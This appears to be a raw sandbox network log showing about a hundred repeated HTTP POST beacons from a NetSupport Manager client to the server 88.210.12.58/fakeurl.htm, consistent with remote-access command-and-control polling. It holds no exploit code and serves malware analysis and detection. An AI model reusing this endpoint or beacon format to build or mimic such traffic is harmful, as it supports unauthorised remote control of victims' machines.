Dec 6, 2024 10:41:48.372849941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.473848104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.573857069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.674865961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.775870085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.877715111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:48.977725029 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.077893019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.177911043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.279839993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.380891085 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.481045961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.581864119 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.681875944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.782905102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.882879019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:49.982902050 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.083870888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.183855057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.284873009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.387953997 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.488404989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.587976933 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.686861992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.789712906 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.889723063 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:50.989722013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.089757919 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.188985109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.288844109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.388896942 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.489901066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.589893103 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.689867020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.790899992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.890968084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:51.991873980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.092986107 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.194037914 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.293998003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.397743940 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.495884895 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.595925093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.697747946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.797981024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:52.898884058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.001738071 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.101716042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.199959040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.300978899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.407402039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.823863983 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:53.924870014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.024900913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.124887943 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.229732037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.329746962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.426877975 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.527868032 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.629733086 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.729926109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.830882072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:54.931821108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.030884027 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.131091118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.232022047 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.334330082 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.434892893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.535883904 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.636933088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.736934900 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.836919069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:55.937874079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.053797960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.156030893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.257749081 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.376049995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.473925114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.575799942 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.679800987 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.777753115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.880070925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:56.979949951 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.079757929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.176877975 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.276952982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.377896070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.478893995 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.578917980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.678947926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.779968977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.880948067 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:57.980966091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
